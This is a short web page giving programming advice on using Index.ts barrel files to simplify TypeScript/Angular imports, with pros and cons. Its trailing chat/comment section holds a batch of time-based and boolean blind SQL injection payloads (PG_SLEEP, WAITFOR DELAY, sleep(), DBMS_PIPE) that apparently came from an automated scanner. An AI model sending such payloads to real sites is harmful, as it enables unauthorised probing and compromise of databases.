BP69: Use Index.ts to simplify imports
Index.ts allows you to organize your imports. This file can be used to import multiple modules from other folders and re-export them so that they can be consumed by the other modules more easily.
The modules that were re-exported in Index.ts can be then imported from Index.ts and you don't need to specify the exact original location to each module.
As components are usually used and imported in Feature module and respective Router module, the import is duplicated and the path to a module is stored in two places. If you later need to change the path of the file, you have to change it in two places. However, if the Index.ts is used, the change needs to be done only once.
Pros
- More readable imports with shorter parths
- Paths are stored only in Index.ts so when files are moved to a different location, fixing paths is simple
- If the original module gets moved to a different location, you can change just the Index.ts and the dependent modules don't need to be updated.
Cons
- Can lead to circular dependencies
I really like how they help you to eliminate paths from multiple places in the code. You have paths just in Index.ts and everywhere else you use just path to index.ts.
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
e
@@xeDO0
1'"
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
VTgcz37T'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
-1 OR 3+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
e
e